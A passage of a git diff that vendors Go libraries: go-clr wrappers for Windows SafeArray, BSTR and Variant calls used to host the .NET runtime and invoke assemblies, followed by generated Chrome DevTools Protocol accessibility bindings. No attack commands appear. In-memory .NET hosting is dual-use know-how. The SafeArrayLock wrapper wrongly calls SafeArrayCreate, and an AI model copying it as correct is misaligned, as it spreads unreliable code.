+ err = fmt.Errorf("the MethodInfo::QueryInterface method returned an error when looking for the ISupportErrorInfo interface:\r\n%s", err)
+ return
+ }
+
+ // See if the ICorRuntimeHost interface supports the IErrorInfo interface
+ // Not sure if there is an Interface ID for MethodInfo
+ err = iSupportErrorInfo.InterfaceSupportsErrorInfo(IID_ICorRuntimeHost)
+ if err != nil {
+ err = fmt.Errorf("there was an error with the ISupportErrorInfo::InterfaceSupportsErrorInfo method:\r\n%s", err)
+ return
+ }
+
+ // Get the IErrorInfo object
+ iErrorInfo, errG := GetErrorInfo()
+ if errG != nil {
+ err = fmt.Errorf("there was an error getting the IErrorInfo object:\r\n%s", errG)
+ return err
+ }
+
+ // Read the IErrorInfo description
+ desc, errD := iErrorInfo.GetDescription()
+ if errD != nil {
+ err = fmt.Errorf("the IErrorInfo::GetDescription method returned an error:\r\n%s", errD)
+ return err
+ }
+ if desc == nil {
+ err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x", hr)
+ return
+ }
+ err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x with an IErrorInfo description of: %s", hr, *desc)
+ }
+ if hr != S_OK {
+ err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x", hr)
+ return
+ }
+
+ if pRetVal != nil {
+ err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero pRetVal: %+v", pRetVal)
+ return
+ }
+ err = nil
+ return
+}
+
+// GetString returns a string that represents the current object
+// a string version of the method's signature
+// public virtual string ToString ();
+// https://docs.microsoft.com/en-us/dotnet/api/system.object.tostring?view=net-5.0#System_Object_ToString
+func (obj *MethodInfo) GetString() (str string, err error) {
+ debugPrint("Entering into methodinfo.GetString()...")
+ var object *string
+ hr, _, err := syscall.Syscall(
+ obj.vtbl.get_ToString,
+ 2,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(&object)),
+ 0,
+ )
+ if err != syscall.Errno(0) {
+ err = fmt.Errorf("the MethodInfo::ToString method returned an error:\r\n%s", err)
+ return
+ }
+ if hr != S_OK {
+ err = fmt.Errorf("the Assembly::ToString method returned a non-zero HRESULT: 0x%x", hr)
+ return
+ }
+ err = nil
+ str = ReadUnicodeStr(unsafe.Pointer(object))
+ return
+}
diff --git a/vendor/github.com/Ne0nd0g/go-clr/safearray.go b/vendor/github.com/Ne0nd0g/go-clr/safearray.go
new file mode 100644
index 0000000000..016b7b44b8
--- /dev/null
+++ b/vendor/github.com/Ne0nd0g/go-clr/safearray.go
@@ -0,0 +1,340 @@
+// +build windows
+
+package clr
+
+import (
+ "fmt"
+ "syscall"
+ "unsafe"
+)
+
+// SafeArray represents a safe array
+// defined in OAIdl.h
+// typedef struct tagSAFEARRAY {
+// USHORT cDims;
+// USHORT fFeatures;
+// ULONG cbElements;
+// ULONG cLocks;
+// PVOID pvData;
+// SAFEARRAYBOUND rgsabound[1];
+// } SAFEARRAY;
+// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearray
+// https://docs.microsoft.com/en-us/archive/msdn-magazine/2017/march/introducing-the-safearray-data-structure
+type SafeArray struct {
+ // cDims is the number of dimensions
+ cDims uint16
+ // fFeatures is the feature flags
+ fFeatures uint16
+ // cbElements is the size of an array element
+ cbElements uint32
+ // cLocks is the number of times the array has been locked without a corresponding unlock
+ cLocks uint32
+ // pvData is the data
+ pvData uintptr
+ // rgsabout is one bound for each dimension
+ rgsabound [1]SafeArrayBound
+}
+
+// SafeArrayBound represents the bounds of one dimension of the array
+// typedef struct tagSAFEARRAYBOUND {
+// ULONG cElements;
+// LONG lLbound;
+// } SAFEARRAYBOUND, *LPSAFEARRAYBOUND;
+// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearraybound
+type SafeArrayBound struct {
+ // cElements is the number of elements in the dimension
+ cElements uint32
+ // lLbound is the lowerbound of the dimension
+ lLbound int32
+}
+
+// CreateSafeArray is a wrapper function that takes in a Go byte array and creates a SafeArray containing unsigned bytes
+// by making two syscalls and copying raw memory into the correct spot.
+func CreateSafeArray(rawBytes []byte) (*SafeArray, error) {
+ debugPrint("Entering into safearray.CreateSafeArray()...")
+
+ safeArrayBounds := SafeArrayBound{
+ cElements: uint32(len(rawBytes)),
+ lLbound: int32(0),
+ }
+
+ safeArray, err := SafeArrayCreate(VT_UI1, 1, &safeArrayBounds)
+ if err != nil {
+ return nil, err
+ }
+ // now we need to use RtlCopyMemory to copy our bytes to the SafeArray
+ modNtDll := syscall.MustLoadDLL("ntdll.dll")
+ procRtlCopyMemory := modNtDll.MustFindProc("RtlCopyMemory")
+
+ // TODO Replace RtlCopyMemory with SafeArrayPutElement or SafeArrayAccessData
+
+ // void RtlCopyMemory(
+ // void* Destination,
+ // const void* Source,
+ // size_t Length
+ // );
+ // https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlcopymemory
+ _, _, err = procRtlCopyMemory.Call(
+ safeArray.pvData,
+ uintptr(unsafe.Pointer(&rawBytes[0])),
+ uintptr(len(rawBytes)),
+ )
+
+ if err != syscall.Errno(0) {
+ return nil, err
+ }
+
+ return safeArray, nil
+}
+
+// SafeArrayCreate creates a new array descriptor, allocates and initializes the data for the array, and returns a pointer to the new array descriptor.
+// SAFEARRAY * SafeArrayCreate(
+// VARTYPE vt,
+// UINT cDims,
+// SAFEARRAYBOUND *rgsabound
+// );
+// Varient types: https://docs.microsoft.com/en-us/windows/win32/api/wtypes/ne-wtypes-varenum
+// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraycreate
+func SafeArrayCreate(vt uint16, cDims uint32, rgsabound *SafeArrayBound) (safeArray *SafeArray, err error) {
+ debugPrint("Entering into safearray.SafeArrayCreate()...")
+
+ modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
+ procSafeArrayCreate := modOleAuto.MustFindProc("SafeArrayCreate")
+
+ ret, _, err := procSafeArrayCreate.Call(
+ uintptr(vt),
+ uintptr(cDims),
+ uintptr(unsafe.Pointer(rgsabound)),
+ )
+
+ if err != syscall.Errno(0) {
+ return
+ }
+ err = nil
+
+ if ret == 0 {
+ err = fmt.Errorf("the OleAut32!SafeArrayCreate function return 0x%x and the SafeArray was not created", ret)
+ return
+ }
+
+ // Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
+ safeArray = (*SafeArray)(unsafe.Pointer(ret))
+ return
+}
+
+// SysAllocString converts a Go string to a BTSR string, that is a unicode string prefixed with its length.
+// Allocates a new string and copies the passed string into it.
+// It returns a pointer to the string's content.
+// BSTR SysAllocString(
+// const OLECHAR *psz
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-sysallocstring
+func SysAllocString(str string) (unsafe.Pointer, error) {
+ debugPrint("Entering into safearray.SysAllocString()...")
+
+ modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
+ sysAllocString := modOleAuto.MustFindProc("SysAllocString")
+
+ input := utf16Le(str)
+ ret, _, err := sysAllocString.Call(
+ uintptr(unsafe.Pointer(&input[0])),
+ )
+
+ if err != syscall.Errno(0) {
+ return nil, err
+ }
+ // TODO Return a pointer to a BSTR instead of an unsafe.Pointer
+ // Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
+ return unsafe.Pointer(ret), nil
+}
+
+// SafeArrayPutElement pushes an element to the safe array at a given index
+// HRESULT SafeArrayPutElement(
+// SAFEARRAY *psa,
+// LONG *rgIndices,
+// void *pv
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayputelement
+func SafeArrayPutElement(psa *SafeArray, rgIndices int32, pv unsafe.Pointer) error {
+ debugPrint("Entering into safearray.SafeArrayPutElement()...")
+
+ modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
+ safeArrayPutElement := modOleAuto.MustFindProc("SafeArrayPutElement")
+
+ hr, _, err := safeArrayPutElement.Call(
+ uintptr(unsafe.Pointer(psa)),
+ uintptr(unsafe.Pointer(&rgIndices)),
+ uintptr(pv),
+ )
+ if err != syscall.Errno(0) {
+ return err
+ }
+ if hr != S_OK {
+ return fmt.Errorf("the OleAut32!SafeArrayPutElement call returned a non-zero HRESULT: 0x%x", hr)
+ }
+ return nil
+}
+
+// SafeArrayLock increments the lock count of an array, and places a pointer to the array data in pvData of the array descriptor
+// HRESULT SafeArrayLock(
+// SAFEARRAY *psa
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraylock
+func SafeArrayLock(psa *SafeArray) error {
+ debugPrint("Entering into safearray.SafeArrayLock()...")
+
+ modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
+ safeArrayCreate := modOleAuto.MustFindProc("SafeArrayCreate")
+
+ hr, _, err := safeArrayCreate.Call(uintptr(unsafe.Pointer(psa)))
+
+ if err != syscall.Errno(0) {
+ return err
+ }
+
+ if hr != S_OK {
+ return fmt.Errorf("the OleAut32!SafeArrayCreate function returned a non-zero HRESULT: 0x%x", hr)
+ }
+
+ return nil
+}
+
+// SafeArrayGetVartype gets the VARTYPE stored in the specified safe array
+// HRESULT SafeArrayGetVartype(
+// SAFEARRAY *psa,
+// VARTYPE *pvt
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetvartype
+func SafeArrayGetVartype(psa *SafeArray) (uint16, error) {
+ debugPrint("Entering into safearray.SafeArrayGetVartype()...")
+
+ var vt uint16
+
+ modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
+ safeArrayGetVartype := modOleAuto.MustFindProc("SafeArrayGetVartype")
+
+ hr, _, err := safeArrayGetVartype.Call(
+ uintptr(unsafe.Pointer(psa)),
+ uintptr(unsafe.Pointer(&vt)),
+ )
+
+ if err != syscall.Errno(0) {
+ return 0, err
+ }
+ if hr != S_OK {
+ return 0, fmt.Errorf("the OleAut32!SafeArrayGetVartype function returned a non-zero HRESULT: 0x%x", hr)
+ }
+ return vt, nil
+}
+
+// SafeArrayAccessData increments the lock count of an array, and retrieves a pointer to the array data
+// HRESULT SafeArrayAccessData(
+// SAFEARRAY *psa,
+// void HUGEP **ppvData
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayaccessdata
+func SafeArrayAccessData(psa *SafeArray) (*uintptr, error) {
+ debugPrint("Entering into safearray.SafeArrayAccessData()...")
+
+ var ppvData *uintptr
+
+ modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
+ safeArrayAccessData := modOleAuto.MustFindProc("SafeArrayAccessData")
+
+ hr, _, err := safeArrayAccessData.Call(
+ uintptr(unsafe.Pointer(psa)),
+ uintptr(unsafe.Pointer(&ppvData)),
+ )
+
+ if err != syscall.Errno(0) {
+ return nil, err
+ }
+ if hr != S_OK {
+ return nil, fmt.Errorf("the oleaut32!SafeArrayAccessData function returned a non-zero HRESULT: 0x%x", hr)
+ }
+ return ppvData, nil
+}
+
+// SafeArrayGetLBound gets the lower bound for any dimension of the specified safe array
+// HRESULT SafeArrayGetLBound(
+// SAFEARRAY *psa,
+// UINT nDim,
+// LONG *plLbound
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetlbound
+func SafeArrayGetLBound(psa *SafeArray, nDim uint32) (uint32, error) {
+ debugPrint("Entering into safearray.SafeArrayGetLBound()...")
+ var plLbound uint32
+ modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
+ safeArrayGetLBound := modOleAuto.MustFindProc("SafeArrayGetLBound")
+
+ hr, _, err := safeArrayGetLBound.Call(
+ uintptr(unsafe.Pointer(psa)),
+ uintptr(nDim),
+ uintptr(unsafe.Pointer(&plLbound)),
+ )
+
+ if err != syscall.Errno(0) {
+ return 0, err
+ }
+ if hr != S_OK {
+ return 0, fmt.Errorf("the oleaut32!SafeArrayGetLBound function returned a non-zero HRESULT: 0x%x", hr)
+ }
+ return plLbound, nil
+}
+
+// SafeArrayGetUBound gets the upper bound for any dimension of the specified safe array
+// HRESULT SafeArrayGetUBound(
+// SAFEARRAY *psa,
+// UINT nDim,
+// LONG *plUbound
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetubound
+func SafeArrayGetUBound(psa *SafeArray, nDim uint32) (uint32, error) {
+ debugPrint("Entering into safearray.SafeArrayGetUBound()...")
+
+ var plUbound uint32
+
+ modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
+ safeArrayGetUBound := modOleAuto.MustFindProc("SafeArrayGetUBound")
+
+ hr, _, err := safeArrayGetUBound.Call(
+ uintptr(unsafe.Pointer(psa)),
+ uintptr(nDim),
+ uintptr(unsafe.Pointer(&plUbound)),
+ )
+
+ if err != syscall.Errno(0) {
+ return 0, err
+ }
+ if hr != S_OK {
+ return 0, fmt.Errorf("the oleaut32!SafeArrayGetUBound function returned a non-zero HRESULT: 0x%x", hr)
+ }
+ return plUbound, nil
+}
+
+// SafeArrayDestroy Destroys an existing array descriptor and all of the data in the array.
+// If objects are stored in the array, Release is called on each object in the array.
+// HRESULT SafeArrayDestroy(
+// SAFEARRAY *psa
+// );
+func SafeArrayDestroy(psa *SafeArray) error {
+ debugPrint("Entering into safearray.SafeArrayDestroy()...")
+
+ modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
+ safeArrayDestroy := modOleAuto.MustFindProc("SafeArrayDestroy")
+
+ hr, _, err := safeArrayDestroy.Call(
+ uintptr(unsafe.Pointer(psa)),
+ 0,
+ 0,
+ )
+
+ if err != syscall.Errno(0) {
+ return fmt.Errorf("the oleaut32!SafeArrayDestroy function call returned an error:\n%s", err)
+ }
+ if hr != S_OK {
+ return fmt.Errorf("the oleaut32!SafeArrayDestroy function returned a non-zero HRESULT: 0x%x", hr)
+ }
+ return nil
+}
diff --git a/vendor/github.com/Ne0nd0g/go-clr/utils.go b/vendor/github.com/Ne0nd0g/go-clr/utils.go
new file mode 100644
index 0000000000..52e4300692
--- /dev/null
+++ b/vendor/github.com/Ne0nd0g/go-clr/utils.go
@@ -0,0 +1,107 @@
+// +build windows
+
+package clr
+
+import (
+ "bytes"
+ "fmt"
+ "log"
+ "strings"
+ "unicode/utf16"
+ "unsafe"
+
+ "golang.org/x/text/encoding/unicode"
+ "golang.org/x/text/transform"
+)
+
+var Debug = false
+
+// checkOK evaluates a HRESULT code for a caller and determines if there was an error
+func checkOK(hr uintptr, caller string) error {
+ if hr != S_OK {
+ return fmt.Errorf("%s returned 0x%08x", caller, hr)
+ } else {
+ return nil
+ }
+}
+
+// must forces the program to exit if there is an error using the log.Fatal command
+func must(err error) {
+ if err != nil {
+ log.Fatal(err)
+ }
+}
+
+func utf16Le(s string) []byte {
+ enc := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
+ var buf bytes.Buffer
+ t := transform.NewWriter(&buf, enc)
+ t.Write([]byte(s))
+ return buf.Bytes()
+}
+
+func expectsParams(input string) bool {
+ return !strings.Contains(input, "Void Main()")
+}
+
+// ReadUnicodeStr takes a pointer to a unicode string in memory and returns a string value
+func ReadUnicodeStr(ptr unsafe.Pointer) string {
+ debugPrint("Entering into utils.ReadUnicodeStr()...")
+ var byteVal uint16
+ out := make([]uint16, 0)
+ for i := 0; ; i++ {
+ byteVal = *(*uint16)(unsafe.Pointer(ptr))
+ if byteVal == 0x0000 {
+ break
+ }
+ out = append(out, byteVal)
+ ptr = unsafe.Pointer(uintptr(ptr) + 2)
+ }
+ return string(utf16.Decode(out))
+}
+
+// debugPrint is used to print messages only when debug has been enabled
+func debugPrint(message string) {
+ if Debug {
+ fmt.Println("[DEBUG] " + message)
+ }
+}
+
+// PrepareParameters creates a safe array of strings (arguments) nested inside a Variant object, which is itself
+// appended to the final safe array
+func PrepareParameters(params []string) (*SafeArray, error) {
+ sab := SafeArrayBound{
+ cElements: uint32(len(params)),
+ lLbound: 0,
+ }
+ listStrSafeArrayPtr, err := SafeArrayCreate(VT_BSTR, 1, &sab) // VT_BSTR
+ if err != nil {
+ return nil, err
+ }
+ for i, p := range params {
+ bstr, err := SysAllocString(p)
+ if err != nil {
+ return nil, err
+ }
+ SafeArrayPutElement(listStrSafeArrayPtr, int32(i), bstr)
+ }
+
+ paramVariant := Variant{
+ VT: VT_BSTR | VT_ARRAY, // VT_BSTR | VT_ARRAY
+ Val: uintptr(unsafe.Pointer(listStrSafeArrayPtr)),
+ }
+
+ sab2 := SafeArrayBound{
+ cElements: uint32(1),
+ lLbound: 0,
+ }
+ paramsSafeArrayPtr, err := SafeArrayCreate(VT_VARIANT, 1, &sab2) // VT_VARIANT
+ if err != nil {
+ return nil, err
+ }
+ err = SafeArrayPutElement(paramsSafeArrayPtr, int32(0), unsafe.Pointer(¶mVariant))
+ if err != nil {
+ return nil, err
+ }
+ return paramsSafeArrayPtr, nil
+}
diff --git a/vendor/github.com/Ne0nd0g/go-clr/variant.go b/vendor/github.com/Ne0nd0g/go-clr/variant.go
new file mode 100644
index 0000000000..8798013cb6
--- /dev/null
+++ b/vendor/github.com/Ne0nd0g/go-clr/variant.go
@@ -0,0 +1,38 @@
+// +build windows
+
+package clr
+
+const (
+ // VT_EMPTY No value was specified. If an optional argument to an Automation method is left blank, do not
+ // pass a VARIANT of type VT_EMPTY. Instead, pass a VARIANT of type VT_ERROR with a value of DISP_E_PARAMNOTFOUND.
+ VT_EMPTY uint16 = 0x0000
+ // VT_NULL A propagating null value was specified. (This should not be confused with the null pointer.)
+ // The null value is used for tri-state logic, as with SQL.
+ VT_NULL uint16 = 0x0001
+ // VT_UI1 is a Variant Type of Unsigned Integer of 1-byte
+ VT_UI1 uint16 = 0x0011
+ // VT_UT4 is a Varriant Type of Unsigned Integer of 4-byte
+ VT_UI4 uint16 = 0x0013
+ // VT_BSTR is a Variant Type of BSTR, an OLE automation type for transfering length-prefixed strings
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/9c5a5ce4-ff5b-45ce-b915-ada381b34ac1
+ VT_BSTR uint16 = 0x0008
+ // VT_VARIANT is a Variant Type of VARIANT, a container for a union that can hold many types of data
+ VT_VARIANT uint16 = 0x000c
+ // VT_ARRAY is a Variant Type of a SAFEARRAY
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/2e87a537-9305-41c6-a88b-b79809b3703a
+ VT_ARRAY uint16 = 0x2000
+)
+
+// from /~https://github.com/go-ole/go-ole/blob/master/variant_amd64.go
+// https://docs.microsoft.com/en-us/windows/win32/winauto/variant-structure
+// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-variant
+// https://docs.microsoft.com/en-us/previous-versions/windows/embedded/ms891678(v=msdn.10)?redirectedfrom=MSDN
+// VARIANT Type Constants https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/3fe7db9f-5803-4dc4-9d14-5425d3f5461f
+type Variant struct {
+ VT uint16 // VARTYPE
+ wReserved1 uint16
+ wReserved2 uint16
+ wReserved3 uint16
+ Val uintptr
+ _ [8]byte
+}
diff --git a/vendor/github.com/chromedp/cdproto/.gitignore b/vendor/github.com/chromedp/cdproto/.gitignore
new file mode 100644
index 0000000000..c456f53275
--- /dev/null
+++ b/vendor/github.com/chromedp/cdproto/.gitignore
@@ -0,0 +1,2 @@
+*.json
+*.pdl
diff --git a/vendor/github.com/chromedp/cdproto/LICENSE b/vendor/github.com/chromedp/cdproto/LICENSE
new file mode 100644
index 0000000000..323e87a931
--- /dev/null
+++ b/vendor/github.com/chromedp/cdproto/LICENSE
@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright (c) 2016-2021 Kenneth Shaw
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/vendor/github.com/chromedp/cdproto/README.md b/vendor/github.com/chromedp/cdproto/README.md
new file mode 100644
index 0000000000..a21f77cac6
--- /dev/null
+++ b/vendor/github.com/chromedp/cdproto/README.md
@@ -0,0 +1,29 @@
+# About cdproto
+
+Package `cdproto` contains the generated commands, types, and events for the
+[Chrome DevTools Protocol domains][devtools-protocol].
+
+[![Unit Tests][cdproto-ci-status]][cdproto-ci]
+[![Go Reference][goref-cdproto-status]][goref-cdproto]
+
+This package is generated by the [`cdproto-gen`][cdproto-gen] command. Please
+refer to that project and to the main [`chromedp`][chromedp] project for
+information on using the commands, types, and events available here.
+
+## API
+
+Please see the [Go Reference][goref-cdproto].
+
+## Contributing
+
+If you would like to submit a change to the code in this package, please submit
+your Pull Request to the [`cdproto-gen`][cdproto-gen] project. Any Issues and
+Pull Requests submitted to this project will be closed without being reviewed.
+
+[cdproto-ci]: /~https://github.com/chromedp/cdproto/actions/workflows/build.yml (Build CI)
+[cdproto-ci-status]: /~https://github.com/chromedp/cdproto/actions/workflows/build.yml/badge.svg (Build CI)
+[cdproto-gen]: /~https://github.com/chromedp/cdproto-gen
+[chromedp]: /~https://github.com/chromedp/chromedp
+[devtools-protocol]: https://chromedevtools.github.io/devtools-protocol/
+[goref-cdproto]: https://pkg.go.dev/github.com/chromedp/cdproto
+[goref-cdproto-status]: https://pkg.go.dev/badge/github.com/chromedp/chromedp.svg
diff --git a/vendor/github.com/chromedp/cdproto/accessibility/accessibility.go b/vendor/github.com/chromedp/cdproto/accessibility/accessibility.go
new file mode 100644
index 0000000000..375186f38d
--- /dev/null
+++ b/vendor/github.com/chromedp/cdproto/accessibility/accessibility.go
@@ -0,0 +1,411 @@
+// Package accessibility provides the Chrome DevTools Protocol
+// commands, types, and events for the Accessibility domain.
+//
+// Generated by the cdproto-gen command.
+package accessibility
+
+// Code generated by cdproto-gen. DO NOT EDIT.
+
+import (
+ "context"
+
+ "github.com/chromedp/cdproto/cdp"
+ "github.com/chromedp/cdproto/runtime"
+)
+
+// DisableParams disables the accessibility domain.
+type DisableParams struct{}
+
+// Disable disables the accessibility domain.
+//
+// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-disable
+func Disable() *DisableParams {
+ return &DisableParams{}
+}
+
+// Do executes Accessibility.disable against the provided context.
+func (p *DisableParams) Do(ctx context.Context) (err error) {
+ return cdp.Execute(ctx, CommandDisable, nil, nil)
+}
+
+// EnableParams enables the accessibility domain which causes AXNodeIds to
+// remain consistent between method calls. This turns on accessibility for the
+// page, which can impact performance until accessibility is disabled.
+type EnableParams struct{}
+
+// Enable enables the accessibility domain which causes AXNodeIds to remain
+// consistent between method calls. This turns on accessibility for the page,
+// which can impact performance until accessibility is disabled.
+//
+// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-enable
+func Enable() *EnableParams {
+ return &EnableParams{}
+}
+
+// Do executes Accessibility.enable against the provided context.
+func (p *EnableParams) Do(ctx context.Context) (err error) {
+ return cdp.Execute(ctx, CommandEnable, nil, nil)
+}
+
+// GetPartialAXTreeParams fetches the accessibility node and partial
+// accessibility tree for this DOM node, if it exists.
+type GetPartialAXTreeParams struct {
+ NodeID cdp.NodeID `json:"nodeId,omitempty"` // Identifier of the node to get the partial accessibility tree for.
+ BackendNodeID cdp.BackendNodeID `json:"backendNodeId,omitempty"` // Identifier of the backend node to get the partial accessibility tree for.
+ ObjectID runtime.RemoteObjectID `json:"objectId,omitempty"` // JavaScript object id of the node wrapper to get the partial accessibility tree for.
+ FetchRelatives bool `json:"fetchRelatives,omitempty"` // Whether to fetch this nodes ancestors, siblings and children. Defaults to true.
+}
+
+// GetPartialAXTree fetches the accessibility node and partial accessibility
+// tree for this DOM node, if it exists.
+//
+// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-getPartialAXTree
+//
+// parameters:
+func GetPartialAXTree() *GetPartialAXTreeParams {
+ return &GetPartialAXTreeParams{}
+}
+
+// WithNodeID identifier of the node to get the partial accessibility tree
+// for.
+func (p GetPartialAXTreeParams) WithNodeID(nodeID cdp.NodeID) *GetPartialAXTreeParams {
+ p.NodeID = nodeID
+ return &p
+}
+
+// WithBackendNodeID identifier of the backend node to get the partial
+// accessibility tree for.
+func (p GetPartialAXTreeParams) WithBackendNodeID(backendNodeID cdp.BackendNodeID) *GetPartialAXTreeParams {
+ p.BackendNodeID = backendNodeID
+ return &p
+}
+
+// WithObjectID JavaScript object id of the node wrapper to get the partial
+// accessibility tree for.
+func (p GetPartialAXTreeParams) WithObjectID(objectID runtime.RemoteObjectID) *GetPartialAXTreeParams {
+ p.ObjectID = objectID
+ return &p
+}
+
+// WithFetchRelatives whether to fetch this nodes ancestors, siblings and
+// children. Defaults to true.
+func (p GetPartialAXTreeParams) WithFetchRelatives(fetchRelatives bool) *GetPartialAXTreeParams {
+ p.FetchRelatives = fetchRelatives
+ return &p
+}
+
+// GetPartialAXTreeReturns return values.
+type GetPartialAXTreeReturns struct {
+ Nodes []*Node `json:"nodes,omitempty"` // The Accessibility.AXNode for this DOM node, if it exists, plus its ancestors, siblings and children, if requested.
+}
+
+// Do executes Accessibility.getPartialAXTree against the provided context.
+//
+// returns:
+//
+// nodes - The Accessibility.AXNode for this DOM node, if it exists, plus its ancestors, siblings and children, if requested.
+func (p *GetPartialAXTreeParams) Do(ctx context.Context) (nodes []*Node, err error) {
+ // execute
+ var res GetPartialAXTreeReturns
+ err = cdp.Execute(ctx, CommandGetPartialAXTree, p, &res)
+ if err != nil {
+ return nil, err
+ }
+
+ return res.Nodes, nil
+}
+
+// GetFullAXTreeParams fetches the entire accessibility tree for the root
+// Document.
+type GetFullAXTreeParams struct {
+ Depth int64 `json:"depth,omitempty"` // The maximum depth at which descendants of the root node should be retrieved. If omitted, the full tree is returned.
+ FrameID cdp.FrameID `json:"frameId,omitempty"` // The frame for whose document the AX tree should be retrieved. If omitted, the root frame is used.
+}
+
+// GetFullAXTree fetches the entire accessibility tree for the root Document.
+//
+// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-getFullAXTree
+//
+// parameters:
+func GetFullAXTree() *GetFullAXTreeParams {
+ return &GetFullAXTreeParams{}
+}
+
+// WithDepth the maximum depth at which descendants of the root node should
+// be retrieved. If omitted, the full tree is returned.
+func (p GetFullAXTreeParams) WithDepth(depth int64) *GetFullAXTreeParams {
+ p.Depth = depth
+ return &p
+}
+
+// WithFrameID the frame for whose document the AX tree should be retrieved.
+// If omitted, the root frame is used.
+func (p GetFullAXTreeParams) WithFrameID(frameID cdp.FrameID) *GetFullAXTreeParams {
+ p.FrameID = frameID
+ return &p
+}
+
+// GetFullAXTreeReturns return values.
+type GetFullAXTreeReturns struct {
+ Nodes []*Node `json:"nodes,omitempty"`
+}
+
+// Do executes Accessibility.getFullAXTree against the provided context.
+//
+// returns:
+//
+// nodes
+func (p *GetFullAXTreeParams) Do(ctx context.Context) (nodes []*Node, err error) {
+ // execute
+ var res GetFullAXTreeReturns
+ err = cdp.Execute(ctx, CommandGetFullAXTree, p, &res)
+ if err != nil {
+ return nil, err
+ }
+
+ return res.Nodes, nil
+}
+
+// GetRootAXNodeParams fetches the root node. Requires enable() to have been
+// called previously.
+type GetRootAXNodeParams struct {
+ FrameID cdp.FrameID `json:"frameId,omitempty"` // The frame in whose document the node resides. If omitted, the root frame is used.
+}
+
+// GetRootAXNode fetches the root node. Requires enable() to have been called
+// previously.
+//
+// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-getRootAXNode
+//
+// parameters:
+func GetRootAXNode() *GetRootAXNodeParams {
+ return &GetRootAXNodeParams{}
+}
+
+// WithFrameID the frame in whose document the node resides. If omitted, the
+// root frame is used.
+func (p GetRootAXNodeParams) WithFrameID(frameID cdp.FrameID) *GetRootAXNodeParams {
+ p.FrameID = frameID
+ return &p
+}
+
+// GetRootAXNodeReturns return values.
+type GetRootAXNodeReturns struct {
+ Node *Node `json:"node,omitempty"`
+}
+
+// Do executes Accessibility.getRootAXNode against the provided context.
+//
+// returns:
+//
+// node
+func (p *GetRootAXNodeParams) Do(ctx context.Context) (node *Node, err error) {
+ // execute
+ var res GetRootAXNodeReturns
+ err = cdp.Execute(ctx, CommandGetRootAXNode, p, &res)
+ if err != nil {
+ return nil, err
+ }
+
+ return res.Node, nil
+}
+
+// GetAXNodeAndAncestorsParams fetches a node and all ancestors up to and
+// including the root. Requires enable() to have been called previously.
+type GetAXNodeAndAncestorsParams struct {
+ NodeID cdp.NodeID `json:"nodeId,omitempty"` // Identifier of the node to get.
+ BackendNodeID cdp.BackendNodeID `json:"backendNodeId,omitempty"` // Identifier of the backend node to get.
+ ObjectID runtime.RemoteObjectID `json:"objectId,omitempty"` // JavaScript object id of the node wrapper to get.
+}
+
+// GetAXNodeAndAncestors fetches a node and all ancestors up to and including
+// the root. Requires enable() to have been called previously.
+//
